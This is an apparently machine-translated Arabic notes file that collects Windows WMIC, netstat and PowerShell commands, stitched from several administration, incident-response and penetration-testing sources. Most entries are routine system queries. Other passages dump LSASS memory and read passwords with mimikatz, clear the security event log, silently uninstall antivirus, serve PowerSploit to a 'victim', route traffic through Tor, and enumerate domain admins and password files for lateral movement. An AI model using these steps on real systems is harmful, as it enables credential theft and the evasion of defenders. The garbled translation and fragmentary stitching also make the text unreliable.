taskkill /IM notepad.exe
___________________________________________________________________
هذا الأمر أغلق بقوة جميع العمليات التي لا تستجيب. (هنا / و حدد القوات لقتل العملية)، اكتب الأمر التالي
taskkill /f /fi
____________________________________________________________________
يمكنك أيضا إجراء نفس جمع البيانات عبر الشبكة دون تسجيل الدخول إلى الجهاز البعيد بعد أن تعرف أن لديك بعض بيانات الاعتماد الإدارية التي يقبلها النظام البعيد.
يبدو الأمر نفسه الصادر ضد نظام بعيد في نطاق آخر كما يل
wmic /user:”FOREIGN_DOMAINAdmin” /password:”Password” /node:192.168.33.25 group list brief
___________________________________________________________________
على سبيل المثال، يمكنك جمع قائمة من المجموعات على النظام المحلي باستخدام الأمر التالي:
wmic group list brief
___________________________________________________________________
بدء تطبيق
wmic process call create “calc.exe”
___________________________________________________________________
إنهاء تطبيق
wmic process where name=”calc.exe”
___________________________________________________________________
الحصول على قائمة معرفات العملية
wmic process where (Name=’svchost.exe’)
___________________________________________________________________
معلومات النظام والإعدادات
يمكنك جمع قائمة متغيرات البيئة (بما في ذلك باث) مع هذا الأمر
wmic environment list
____________________________________________________________________
المنتجات / البرامج المثبتة التقرير هتمل منسق
wmic /output:c:product.html product get /format:hform
____________________________________________________________________
تشغيل سطح المكتب البعيد عن بعد
Wmic /node:”servername” /user:”user@domain” /password: “password” RDToggle where ServerName=”server
name” call SetAllowTSConnections 1
____________________________________________________________________
الحصول على استخدام محرك الأقراص الخادم عن بعد
WMIC /Node:%%A LogicalDisk Where DriveType=”3" Get DeviceID,FileSystem,FreeSpace,Size /Format:csv MORE /E +2 >> SRVSPACE.CSV
____________________________________________________________________
الحصول على الرقم التسلسلي بيسي
wmic /node:”HOST” bios get serialnumber
____________________________________________________________________
الحصول على رقم المنتج بيسي
wmic /node:”HOST” baseboard get product
____________________________________________________________________
البحث عن الأشياء التي تبدأ في التمهيد
wmic STARTUP GET Caption, Command, User
____________________________________________________________________
إعادة التشغيل أو إيقاف التشغيلا
wmic os where buildnumber=”2600" call reboot
____________________________________________________________________
الحصول على قائمة بدء التشغيل
wmic startup list full
____________________________________________________________________
معلومات حول الأقراص الصلبة
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber
____________________________________________________________________
معلومات حول نظام التشغيل
wmic os get bootdevice, buildnumber, caption, freespaceinpagingfiles, installdate, name, systemdrive, windowsdirectory /format:htable > c:osinfo.htm
____________________________________________________________________
معلومات حول الملفات
wmic path cim_datafile where “Path=’\windows\system32\wbem\’ and FileSize>1784088” > c:wbemfiles.txt
----------------------------------------------------------------------------------------------------------------------------
يمكن الحصول على معلومات المستخدمين والمجموعات المحلية باستخدام هذه الأوامر:
wmic useraccount list
wmic group list
wmic sysaccount list
____________________________________________________________________
بالنسبة لوحدات التحكم بالمجال، يجب أن يوفر ذلك قائمة بجميع حسابات المستخدمين والمجموعات في النطاق. إصدار "سيساكونت" يوفر لك حسابات النظام المدمج في وغيرها، وهو أمر مفيد لأي حسابات إضافية قد تكون قد أضيفت من قبل الجذور الخفية.
تحديد أي حسابات النظام المحلي التي تم تمكين (ضيف، وما إلى ذلك)
wmic USERACCOUNT WHERE “Disabled=0 AND LocalAccount=1” GET Name”
_____________________________________________________________________
عدد عمليات تسجيل الدخول لكل وسيريد
wmic netlogin where (name like “%skodo”) get numberoflogons
_____________________________________________________________________
الحصول على أسماء النطاقات وعند تعيين الأشخاص ذوي الإعاقة في الحساب على انتهاء الصلاحية
WMIC UserAccount GET name,PasswordExpires /Value
_____________________________________________________________________
إدارة التصحيح
تحتاج إلى معرفة ما إذا كان هناك أي بقع مفقودة على النظام؟ وميك يمكن أن تساعدك على معرفة مع هذا كومان
wmic qfe list
_____________________________________________________________________
تشارك
يمكن جمع تعداد جميع الأسهم المحلية باستخدام الأمر
wmic share list
_____________________________________________________________________
استخدم الأمر التالي لاستخراج قائمة محولات الشبكة ومعلومات عنوان إب:
wmic nicconfig list
_____________________________________________________________________
الحصول على عنوان ماك:
wmic nic get macaddress
_____________________________________________________________________
تحديث عنوان إب الثابت:
wmic nicconfig where index=9 call enablestatic(“192.168.16.4”), (“255.255.255.0”)
_____________________________________________________________________
تغيير بوابة الشبكة:
wmic nicconfig where index=9 call setgateways(“192.168.16.4”, “192.168.16.5”),(1,2)
_____________________________________________________________________
تمكين دكب
wmic nicconfig where index=9 call enabledhcp
_____________________________________________________________________
الحصول على قائمة من واجهات إب
wmic nicconfig where IPEnabled=’true’
_____________________________________________________________________
وميك يمكن سرد كافة الخدمات المثبتة وتكويناتها باستخدام هذا الأمر:
wmic services list
_____________________________________________________________________
وسيشمل الإخراج الأمر الكامل المستخدم لبدء الخدمة ووصفها المطول.
wmic service where caption=”DHCP Client” call changestartmode “Disabled”
_____________________________________________________________________
خدمات تقرير عن جهاز بعيد هتمل تنسيق:
wmic /output:c:services.htm /node:server1 service list full / format:htable
_____________________________________________________________________
الحصول على ستارتمود من الخدمات
Wmic service get caption, name, startmode, state
_____________________________________________________________________
ميزة أخرى مثيرة للاهتمام من وميك هو قدرته على تسجيل الأمر وقت التشغيل تنفيذها وتكوين وقت التشغيل في كل ملف شمل واحد. قد تبدو الجلسة المسجلة على النحو التالي:
wmic /record:users_list.xml useraccount list
_____________________________________________________________________
وبطبيعة الحال، منذ لم يتم تصميم وميك كجهاز تسجيل، وهناك بعض المحاذير لاستخدام شمل. أولا، يمكنك فقط استخدام إخراج شمل، لا توجد صيغ أخرى محددة.
سجلات الأحداث
الحصول على نوع معين من الحدث من إيفنتلوغ
wmic ntevent where (message like “%logon%”) list brief
_______________________________________________________________________
مسح إيفنتلوغ
wmic nteventlog where (description like “%secevent%”) call cleareventlog
_______________________________________________________________________
استرداد قائمة من التحذيرات والأحداث الخطأ ليس من سجلات النظام أو الأمن
WMIC NTEVENT WHERE “EventType < 3 AND LogFile != ‘System’ AND LogFile != ‘Security’” GET LogFile, SourceName, EventType, Message, TimeGenerated /FORMAT:”htable.xsl”:” datatype = number”:” sortby = EventType” > c:appevent.htm
________________________________________________________________________
--------------------------------
للتحقق من أن الكمبيوتر في مجموعة عمل وأنه تم تثبيت شهادة في مخزن الكمبيوتر. أدخل:
Get-CimInstance –ClassName Win32_ComputerSystem
Get-ChildItem –Path Cert:\LocalMachine\My
تكوين جدار الحماية للسماح حركة مرور هتبس على المنفذ 5986. أدخل:
Netsh AdvFirewall firewall add rule name="WinRM (HTTPS)" `
protocol=TCP dir=in localport=5986 action=allow
عداد المستمع وينرم هتبس، تحتاج إلى كتابة أو نسخ بصمة شهادة من الإخراج السابق. ثم قم بتشغيل هذا الرمز
New-WSManInstance winrm/config/Listener
____________________________________________________________________________10
للتحقق من أن الكمبيوتر في مجموعة عم
Get-ChildItem -Path Cert:\LocalMachine
بدء جلسة عن بعد لاختبار مستمع هتبس. يركض:
Enter-PSSession –ComputerName Server1 –Credential Server1\Administrator -UseSSL
بعد إدخال كلمة المرور، يتم عرض موجه جلسة العمل عن بعد، مما يؤكد اتصال هتبس ناجحا.
hostname
أولا، للتحقق من أن قائمة تروستيدوستس فارغة، تشغيل:
Get-Item –Path WSMan:\localhost\Client\TrustedHosts
تدخلها هنا هي نفسها التي تستخدم عند إعادة التوجيه. على سبيل المثال،
Set-Item -Path WSMan:\localhost\Client\TrustedHosts -Value CoreG2
للتحقق من صحة التهيئة، قم بتشغيل هذا مرة أخرى:
Get-Item –Path WSMan:\localhost\Client\TrustedHosts
دعونا تحقق من أن CoreG2 في مجموعة عمل. أدخل:
Get-CimInstance –ClassName Win32_ComputerSystem | FL
لاختبار الاتصال أدخل:
Enter-PSSession –ComputerName CoreG2 –Credential CoreG2\Administrator
مكن تكوين قائمة تروستيدوستس محليا أو باستخدام نهج
Enable-WSManCredSSP –Role Client –Delegate
استهدف اسم الكمبيوتر يمكن أن يكون * البدل أو البدل محدود م
Enable-WSManCredSSP –Role Server
إلى وحدة تحكم مجال باسم FS1.
$rdc = New-PSSession –ComputerName FS1
لعرض قائمة الوحدات النمطية على FS1،
Get-Module -List -PSSession $rdc | FT ModuleType,Name -AutoSize
لاستيراد وحدة أكتيف ديركتوري من FS1، أدخل:
Import-Module -PSSession $rdc -Name ActiveDirectory
لمعرفة عدد أوامر أد متوفرة الآن على الكمبيوتر المحلي، أدخل:
Get-Command –Module ActiveDirectory | Measure-Object
ستكون هذه الأوامر متوفرة طالما يمكنك الاحتفاظ بسسيون مفتوحة مع الكمبيوتر البعيد.
دعونا نختبر عن بعد عن طريق البحث عن حسابات الكمبيوتر في الدليل. أدخل:
Get-ADComputer –Filter * –SearchBase “OU=file servers,dc=lanztek,dc=local” |
Select Name,ObjectGUID | FT -Autosize
تسيس إلى الموقع غير مسموح به حتى يتم تكوين قواعد التفويض لتعريف المستخدمين والمجموعات التي سيتم السماح لها باستخدام بوابة ويندوز بويرشيل وأجهزة الكمبيوتر التي يمكن للمستخدمين والمجموعات الاتصال بها. لإضافة قاعدة تفويض، اكتب ما يلي:
Add-PswaAuthorizationRule –UserName Lanztek\Administrator
-ComputerName * -ConfigurationName *
دعونا الاستفادة من وحدة تحكم بويرشيل على شبكة الإنترنت لإنشاء مشاركة شبكة الاتصال على اسم كمبيوتر بعيد FS1. أدخل:
New-SmbShare –name Updates –Path c:\updates –FullAccess lanztek\admin –ReadAcess HelpDesk
للتحقق من الأذونات، قم بتشغيل
Get-SmbShareAccess –Name Updates
_____________________________
أوامر ويندوز مدمجة لتحديد ما إذا كان قد تم الاستيلاء على النظام
wmic process
wmic process list brief
wmic process list full
wmic startup list full
wmic process list brief /every:1 CTRL + C
openfiles /local on
openfiles /query /v
netstat -nao
netstat –s –p icmp
whoami
_______________________
تجزئة الجداول وأمرت الكائنات المخصصة
Get-ChildItem . | Where-Object { "Contacts", "Desktop" -contains $_.BaseName }
[PSCustomObject] @{ Something = 1; SomethingElse = 2 }
Get-ChildItem . | Select-Object -ExpandProperty FullName
مرة أخرى في بويرشيل 2 الحياة كان مربكا قليلا عند التعامل مع صفائف فارغة ومصفوفات فارغة.
Get-ChildItem . | ForEach-Object { "Never triggered in an empty directory" }
$items = Get-ChildItem .
foreach ($item in $items) {
"Always triggered in an empty directory"
}
___________________________
أولا أنا جعل ملف الحمولة النافعة بسيطة فقط للتأكد من أن كل شيء يعمل.
Get-ChildItem c:\ > $env:temp\dirlist.txt
notepad $env:temp\dirlist.txt
---------------------------------------------------------------------
منذ البرامج النصية بويرشيل يمكن النووية الجديدة النظام الخاص بك تماما، ويندوز ساجاسيوسلي تعطيل هذه البرامج النصية بشكل افتراضي.
لتغيير هذا، نحتاج إلى تعيين سياسة التنفيذ مؤقتا إلى غير المقيد. بالمناسبة، بعد تشغيل البرنامج النصي يجب تغيير سياسة التنفيذ مرة أخرى إلى مقيدة.
اكتب:
______________
تحرير استراتيجية التنفيذ
استراتيجية التنفيذ يساعد على الحراسة ضد النصوص التي تحكم
لا يمكن الاعتماد عليها. عن طريق تعديل استراتيجية التنفيذ، تعرض نفسك لمخاطر
الموضحة في موضوع المساعدة about_Execution_Policies. تريد
تغيير استراتيجية التنفيذ؟
[O] نعم [N] لا [S] تعليق [؟] تعليمات (الافتراضي هو "O"):
Set-ExecutionPolicy Unrestricted
ثم قم باستيراد البرنامج النصي بكتابة نقطة متبوعة بالمسار إلى PS1.
C:\Users\vhudson\Documents\Scripts\PowerShell\Out-Minidump.ps1
في المهوس الكلام وهذا ما يعرف باسم "نقطة مصادر" السيناريو وانها طريقة واحدة لاستيراد وظائف في بويرشيل.
سترى فوسيلاد من التحذيرات الأمنية - وهو أمر جيد. ولكن هذا هو السبب الذي قلت لك لفحص السيناريو أولا. لا تنفذ بشكل متعمد نصوص برمجية تجدها عبر الإنترنت. تحقق دائما من التعليمات البرمجية أولا حتى تتمكن من الحصول على بعض فكرة ما يفعله.
اضغط على "r" لتشغيل البرنامج النصي ثم قم بتنفيذ تفريغ الذاكرة
Get-Process lsass | Out-Minidump
تفريغ تفريغ في٪ ويندير٪ System32 \ ولكن نحن بحاجة إلى نقله إلى موقع مختلف حتى نتمكن من مشاهدته. استخدام كمد-كوبيت البند لفعل ثا
Copy-Item .\lsass_516.dmp C:\Users\Vonnie\Documents\Scripts\PowerShell\
عظيم الآن نحن على استعداد لموسيقى الروك.
الوجه الخلفي إلى محطة ميميكاتز وتحميل في تفريغ لساس استولينا في بويرشيل.
sekurlsa::minidump C:\Users\Vonnie\Documents\Scripts\PowerShell\lsass_516.dmp
يجب أن تتحول إلى ملف مينيدومب حتى الآن يمكننا عرض كلمات المرور
الآن لكمة في:
sekurlsa::logonPasswords full
__________________________________________________________
echo $Env:OS
cd HKLM:
____________________________
للتحقيق في جوانب أخرى من المضيف، يمكن استخدام خطوط أوامر مختلفة لجمع البيانات حول نظام التشغيل. للحصول على قائمة من تكوينات إب، يمكن للمشرفين لنا
Ipconfig –a
===============
يمكن استخدام الأمر نيتش لإدراج حالة جدار الحماية مع:
netsh advfirewall export "firewall.txt"
------------------------------------------
يمكن استخدام الأمر دريفيركيري لإدراج أي برامج تشغيل قيد الاستخدام والتي يمكن استخدامها لتحديد برامج التشغيل الضارة المحتملة
driverquery /v /fo csv > drvlist.csv
______________________
يمكن توجيه كل هذه الأوامر إلى ملف باستخدام عامل التشغيل ">"، على سبيل المثال
C:\>ipconfig /a > ipconfig.txt
---------------------
يستخدم هذا البديل التالي بويرشيل لإلغاء تثبيت كل من x86 و x64 إصدارات تطبيق أف المثبتة. فإنه يتكرر على إدخالات في مسار التسجيل إلغاء التثبيت للعثور على العناصر مع "* أفغ *" ثم إلغاء تثبيت كل مثيل بهدوء.
$uninstall32s = gci "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall" | foreach { gp $_.PSPath } | ? { $_ -like "*AVG*" } | select UninstallString;$uninstall64s = gci "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" | foreach { gp $_.PSPath } | ? { $_ -like "*AVG*" } | select UninstallString;foreach($uninstall64 in $uninstall64s) {$uninstall64 = $uninstall64.UninstallString -Replace "MsiExec.exe","" -Replace "/I","" -Replace "/X","";$uninstall64 = $uninstall64.Trim();if($uninstall64 -like "*/mode=offline*"){}else{Write-Warning $uninstall64; start-process "msiexec.exe" -args "/x $uninstall64 /qn /norestart" -Wait }};foreach($uninstall32 in $uninstall32s) {$uninstall32 = $uninstall32.UninstallString -Replace "MsiExec.exe","" -Replace "/I","" -Replace "/X","";$uninstall32 = $uninstall32.Trim();if($uninstall32 -like "*/mode=offline*"){}else{Write-Warning $uninstall32; start-process "msiexec.exe" -args "/x $uninstall32 /qn /norestart" -Wait }};
________________________________________________________________________________
____________________________________________________________________________________
أين وجدت أكثر فائدة لاستخدام بويرشيل في البيئة الخاصة بك؟
Start-Process -FilePath 'ping.exe' -ArgumentList 'google.com' -Wait -NoNewWindow
& 'ping.exe' google.com
ping google.com
___________________________________________
عند استخدام حلقة فوريش، بويرشيل يكرر التعليمات البرمجية لكل عنصر المذكورة في البرنامج النصي.
$array = ('item1','item2','item3')
foreach ($item in $array) {
$item
}
Invoke-Expression -Command 'ping.exe google.com'
function Get-TopLevelStructure {
[cmdletbinding()]
param([Parameter(Mandatory = $True,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true)]
[string]$Path)
process {
cls
Get-ChildItem $Path | select FullName,LastWriteTime,Attributes
}
}
___________________________________________________________________
function ipconfig_all_function() {
ipconfig /all
}
New-Alias -name ipa -value ipconfig_all_function
_____________________________________________
cd_home_function() {
cd $HOME
}
New-Alias -name home -value cd_home_function
______________________________________
New-Alias -name n -value notepad
________________________________________
function exit_function() {
exit
}
New-Alias -name x -value exit_function
في ملف .bashrc / .bash_aliases يمكنك تحديد الوظائف التي يمكن تشغيلها فضلا عن الأسماء المستعارة، للأسف هذا غير ممكن مع بويرشيل. يجب عليك أولا تعريف الدالة ثم استخدام الأمر نيو-إلياس لربط اسم الدالة باسم مستعار يمكننا كتابة في موجه.
مع فتح ملف دعونا إضافة بعض الأسماء المستعارة:
ماذا عن اسم مستعار سريع لتشغيل إيبكونفيغ:
New-Alias ipconfig -value ip
__________________________________
ls | select fullname
Get-ChildItem | Select-Object fullname
New-Item -type file -force $PROFILE
____________________________________
Get-ChildItem -recurse
________________________________________________________________
على سبيل المثال، إذا كنت ترغب في العثور على كافة الأوامر التي تبدأ بالحرف "s"، اكتب:
get-command s*
__________________________________________________________________________
للحصول على المزيد من خصائص التاريخ والوقت، يمكننا استخدام كمدليت من الدرس السابق:
get-date | get-member
____________________________________________________________________________
Get-Process
لآن لدينا جلسة على جهاز ويندوز. نجاح! يمكننا الآن التحقق من تشغيل العمليات على النظام المستهدف عن طريق كتابة:
________________________________________________________________________
هو أسهل طريقة للتأكد من أنك لم يصاب هو فتح موجه الأوامر واستخدام أداة اسمها نيتستات (شكل مختصر من إحصاءات الشبكة) لرؤية جميع المنافذ النشطة والاستماع على النظام الخاص بك.
و بعد اندفاعة يخبر نيتستات للكشف عن كافة الاتصالات الحالية إلى جهاز الكمبيوتر الخاص بك. يعرض الخيار b في الأمر الملف الثنائي. وبعبارة أخرى، اسم التطبيق الفعلي الذي يقوم بإنشاء الاتصال.
قد يبدو ناتج نيتستات أعلاه غير منظم ولكن هناك في الواقع أربعة أعمدة:
netstat -ab
______________________________________________________________________________
get-childitem
get-command -verb get
nbtstat -A 192.168.43.45
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
إذا كنت تريد أن تقتل عملية، يمكنني استخدام الأمر تاسكيل. فإنه يتطلب بيد من العملية التي نريد أن تقتل. في هذه الحالة، عملية المستكشف لديه بيد من 1532، لذلك لقتله، أستطيع أن اكتب:
حيث يعني / F لإجبار القتل.
tasklist
taskkill /PID 1532 /F
__________________________________________
لهذه الخطوة التالية، نحن بحاجة إلى بدء خادم الويب على نظام كالي لدينا لخدمة ما يصل أوامرنا بويرسبلويت إلى آلة الضحية. هناك العديد من الطرق للقيام بذلك. يمكنك، على سبيل المثال، نسخ دليل بويرسبلويت إلى / فار / ووو / هتمل وبدء تشغيل ملقم ويب أباتشي.
خادم ويب بسيط في الدليل بويرسبلويت. يمكننا القيام بذلك عن طريق الكتابة أثناء وجوده في الدليل بويرسبلويت.
python -m SimpleHTTPServer
الآن لدينا خادم ويب بدأ في الدليل بويرسبلويت. وهذا يعني أن أي شخص يصل إلى خادم الويب هذا سوف يكون الوصول إلى هذا الدليل على نظام كالي لدينا.
_____________________
AL9RSANA
# Start polipo proxy
Start-Process $Polipo -ArgumentList ‘socksParentProxy=localhost:9050’ -WindowStyle Hidden
Start-Sleep 7
$WebProxy = New-Object Net.WebProxy(‘localhost:8123’)
$WebProxy.UseDefaultCredentials = $True
$WebClient.Proxy = $WebProxy
____________________________
___________________________________________________
وهناك الكثير من البرامج الضارة يعمل تلقائيا على الجهاز عن طريق إضافة دخول لصناعة السيارات في بداية جنبا إلى جنب مع تلك المشروعة التي قد تنتمي إلى أدوات مكافحة الفيروسات وبرامج علبة النظام المختلفة. يمكن للمستخدمين النظر في إعدادات أخرى على جهاز مع وميك عن طريق استبدال "بدء التشغيل" مع "كف" (اختصار الذي يقف على "الإصلاح السريع الهندسة") لمعرفة مستوى التصحيح من نظام، مع "حصة" لرؤية قائمة من ملف ويندوز الأسهم المتاحة على الجهاز ومع "وسركونت" للاطلاع على إعدادات حساب المستخدم مفصلة.
وهناك خيار مفيد داخل وميك هو القدرة على تشغيل أمر جمع المعلومات على أساس متكرر باستخدام بناء الجملة "/ كل: [N]" بعد بقية الأمر وميك. و [N] هنا هو عدد صحيح، مشيرا إلى أن وميك يجب تشغيل الأمر المعطى كل [N] ثانية. وبهذه الطريقة، يمكن للمستخدمين البحث عن التغييرات في إعدادات النظام مع مرور الوقت، مما يتيح التدقيق الدقيق للناتج. باستخدام هذه الوظيفة لسحب ملخص العملية كل 5 ثوان، يمكن للمستخدمين تشغيل:
wmic process list brief /every:1 CTRL + C
3) أوبنفيلز: التدقيق العميق
العديد من المسؤولين ويندوز غير مألوفة مع الأمر أوبنفيلز قوية في صلب ويندوز. كما يوحي اسمها، يظهر هذا الأمر كافة الملفات التي يتم فتحها في المربع، مما يشير إلى اسم العملية التي تتفاعل مع كل ملف. انها بنيت في الإصدارات الحديثة من ويندوز، من زب برو إلى ويندوز فيستا. مثل الأمر لسوف شعبية لينكس و أونيكس، وسوف تظهر المسؤولين جميع الملفات المفتوحة على الجهاز، وإعطاء اسم العملية والمسار الكامل لكل ملف. على عكس لسوف، ومع ذلك، فإنه لا يوفر الكثير من التفاصيل، مثل رقم معرف العملية، رقم المستخدم وغيرها من المعلومات.
وبالنظر إلى حجم المعلومات التي تجمعها، فإنه ليس من المستغرب أن الأمر أوبنفيلز هو خنزير الأداء. وبالتالي، يتم إيقاف المحاسبة المرتبطة أوبنفيلز بشكل افتراضي، وهذا يعني لا يمكن للمستخدمين سحب أي بيانات من هذا الأمر حتى يتم تشغيله. هذه الوظيفة يمكن تفعيلها عن طريق تشغيل:
openfiles /local on
=================
سوف يحتاج المستخدمون إلى إعادة التشغيل، وعندما يعود النظام، فإنها سوف تكون قادرة على تشغيل الأمر أوبنفيلز على النحو التالي:
openfiles /query /v
سيظهر هذا الأمر إخراج مطول، والذي يتضمن حساب المستخدم أن كل عملية مع ملف مفتوح قيد التشغيل. للحصول على فكرة عن البرامج الضارة التي تم تثبيتها أو ما قد يقوم به المهاجم على الجهاز، يجب على المستخدمين البحث عن ملفات غير عادية أو غير متوقعة، خاصة تلك المرتبطة بالمستخدمين المحليين غير المتوقعين على الجهاز.
عند الانتهاء مع الأمر أوبنفيلز، يمكن إيقاف تشغيل وظائف المحاسبة الخاصة به وعاد النظام إلى الأداء العادي عن طريق تشغيل الأمر التالي وإعادة التشغيل:
openfiles /local off
الخيار -n يخبر نيتستات لعرض الأرقام في إنتاجها، وليس أسماء الآلات والبروتوكولات، وبدلا من ذلك يظهر عناوين إب وأرقام المنفذ تكب أو أودب. -A يشير إلى عرض جميع الاتصالات ومنافذ الاستماع. يخبر الخيار -o نيتستات لإظهار رقم بروسيسيد لكل برنامج يتفاعل مع منفذ تكب أو أودب. إذا، بدلا من تكب و أودب، كنت مهتما في إيمب، يمكن تشغيل نيتستات على النحو التالي
netstat –s –p icmp
يشير هذا إلى أن الأمر سيعود إحصائيات (-s) من بروتوكول إيمب. على الرغم من أنه ليس كما هو مفصل مثل تكب و أودب الإخراج، يمكن للمستخدمين معرفة ما إذا كان الجهاز يرسل حركة المرور إيمب متكررة وغير متوقعة على الشبكة. بعض الخلفيات وغيرها من البرامج الضارة التواصل باستخدام حمولة رسائل إيمب صدى، الحزم مألوفة وغير ضارة تبحث بينغ ينظر على معظم الشبكات بشكل دوري.
مثل وميك، الأمر نيتستات يتيح لنا أيضا تشغيل كل N ثانية. ولكن بدلا من استخدام بنية وميك "/ كل: [N]"، المستخدمين ببساطة اتبع استدعاء نيتستات مع مساحة وعدد صحيح. وهكذا، لقائمة منافذ تكب و أودب في استخدام على الجهاز كل 2 ثانية، يمكن للمستخدمين تشغيل:
netstat –na 2
البحث: البحث عن الإخراج عن الاشياء المفيدة
معظم الأوامر التي ناقشتها حتى الآن يقذف الكثير من الإخراج على الشاشة، والتي يمكن أن يكون من الصعب على الإنسان أن ننظر من خلال العثور على عنصر معين من الفائدة. ولكن، يأتي ويندوز للانقاذ. يمكن للمستخدمين البحث من خلال إخراج الأمر باستخدام المدمج في العثور على أوامر فيندستر في ويندوز. يبحث الأمر فيند عن سلاسل بسيطة، في حين يدعم فيندستر التعبيرات العادية، وهي طريقة أكثر تعقيدا لتحديد أنماط البحث. لأن التعبيرات العادية التي تدعمها فيندستر تتجاوز نطاق هذه المقالة غيض، دعونا نركز على أمر البحث. بشكل افتراضي، يكون البحث حساس لحالة الأحرف - استخدم الخيار i / i لجعله غير حساس لحالة الأحرف.
لديه أمر البحث أيضا القدرة على الاعتماد. عند استدعاء الأمر / c، سيحسب عدد أسطر المخرجات التي تتضمن سلسلة معينة. غالبا ما يرغب المستخدمون في حساب عدد الأسطر في إخراج أمر لتحديد عدد العمليات قيد التشغيل، وعدد عناصر بدء التشغيل موجودة، أو مجموعة متنوعة من الحكايات الأخرى المثيرة للاهتمام على الجهاز. لحساب خطوط الإخراج، يمكن للمستخدمين ببساطة أنابيب إنتاجها من خلال البحث / ج / V "". سيحسب هذا الأمر (/ c) عدد الأسطر التي لا تحتوي على (/ v) سطر فارغ ("") فيها. من خلال عد عدد الخطوط غير الفارغة، الأمر هو، في الواقع، عد عدد الأسطر.
الآن، مع أمر البحث، يمكن للمستخدمين ننظر من خلال إخراج كل من الأوامر التي ناقشتها حتى الآن للعثور على الحكايات مثيرة للاهتمام. على سبيل المثال، لإلقاء نظرة على المعلومات في كل ثانية حول عمليات cmd.exe قيد التشغيل على جهاز اكتب:
c: \> وميك قائمة عملية موجزة / كل: 1 | العثور على "cmd.exe"
wmic process list brief /every:1 | find "cmd.exe"
أو، لمعرفة برامج التشغيل التلقائي التي ترتبط مع خلية التسجيل هكلم، تشغيل:
C: \> وميك قائمة بدء التشغيل موجز | العثور على / ط "هكلم"
wmic startup list brief | find /i "hklm"
لحساب عدد الملفات المفتوحة على الجهاز الذي يتم تنشيط أوبينفيلز أكونتينغ، اكتب:
C: \> أوبنفيلز / كيري / v | فيند / c / v ""
openfiles /query /v | find /c /v ""
كلما عد العناصر في هذه الطريقة، تذكر لطرح عدد من خطوط المرتبطة رؤوس الأعمدة. وكمثال أخير، لمعرفة دقة ثانية واحدة عند بدء تشغيل منفذ تكب
2222 يتم استخدامه على الجهاز، جنبا إلى جنب مع معرف العملية باستخدام المنفذ، تشغيل:
netstat –nao 1 | find "2222"
_________________________________________
bahtr 3al mlaf
Get-ChildItem -Recurse -filter *.* \\1.2.3.4\c$\ 2> $null |
ForEach-Object { Write-Host -foregroundcolor „green“ „Scanning“$_.FullName $_.Name; ./yara64.exe -d filename=$_.Name ioc.yar $_.FullName 2> $null }
Get-ChildItem -Recurse -filter *.* \\1.2.3.5\c$\ 2> $null |
ForEach-Object { Write-Host -foregroundcolor „green“ „Scanning“$_.FullName $_.Name; ./yara64.exe -d filename=$_.Name ioc.yar $_.FullName 2> $null }
____________________________________
يمكنك نسخ هذا المجلد إلى النظام المستهدف، وأخذه معك على محرك أقراص أوسب أو توفير مشاركة الشبكة مع محتوياته.
Get-ChildItem -Recurse -filter *.exe C:\Windows 2> $null |
ForEach-Object { Write-Host -foregroundcolor "green" "Scanning"$_.FullName $_.Name; ./yara32.exe -d filename=$_.Name inverse-matching.yar $_.FullName 2> $null }
__________________________________________
هناك العديد من فئات ومي التي يمكن أن توفر طن من المعلومات وتساعد إلى حد كبير اختبار في أن تصبح أكثر دراية البيئة المستهدفة. في ما يلي قائمة ببعض الاستعلامات المفيدة.
Host Enumeration:
--- OS Specifics ---
wmic os LIST Full (* To obtain the OS Name, use the "caption" property)
wmic computersystem LIST full
--- Anti-Virus ---
wmic /namespace:\\root\securitycenter2 path antivirusproduct
--- Peripherals ---
wmic path Win32_PnPdevice
--- Installed Updates ---
wmic gfe list brief
--- Directory Listing and File Search ---
wmic DATAFILE where "path='\\Users\\test\\Documents\\'" GET Name,readable,size
wmic DATAFILE where "drive='C:' AND Name like '%password%'" GET Name,readable,size /VALUE
--- Local User Accounts ---
wmic USERACCOUNT Get Domain,Name,Sid
Domain Enumeration:
--- Domain and DC Info ---
wmic NTDOMAIN GET DomainControllerAddress,DomainName,Roles /VALUE
--- Domain User Info ---
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='testAccount'" GET
--- List All Users ---
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname
--- List All Groups ---
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname
--- Members of A Group ---
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value
--- List All Computers ---
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname
OR
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname
Misc:
--- Execute Remote Command ---
wmic process call create "cmd.exe /c calc.exe"
--- Enable Remote Desktop ---
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
OR
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
___________________________
في ما يلي قائمة بالأسماء المستعارة المفيدة لتعداد معلومات عن النظام والعملية والنطاق والمستخدمين والمجموعات:
wmic computerystem list full /format:list
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
___________________
جميع الأسماء المذكورة أعلاه يمكن استخدامها عن بعد. يمكنك أيضا التفاعل مع الطبقات مباشرة مع الخيار 'المسار'. على سبيل المثال، إليك طريقة خفية جدا لاكتشاف المشرفين المحليين على جهاز بعيد (لاحظ أن هذا النطاق هو اسم الكمبيوتر)
wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")
ملاحظة: ركضت وميك من موجه الأوامر كما جاريتا، وبالتالي لم أكن بحاجة إلى تحديد / المستخدم
ومن المفيد أنيلينر آخر هو معرفة من الذي تم تسجيل الدخول إلى جهاز (عندما كنت تصيد المشرفين):
wmic /node:ordws01 path win32_loggedonuser get antecedent
وميك حتى قراءة العقد من ملف نصي وتنفيذ الأمر على كل منهم. إذا كان لديك ملف نصي لمحطات العمل:
wmic /node:@workstations.txt path win32_loggedonuser get antecedent
لأمر بإرجاع بروسيسيد و ريتورنفالو (0 يعني أي أخطاء)
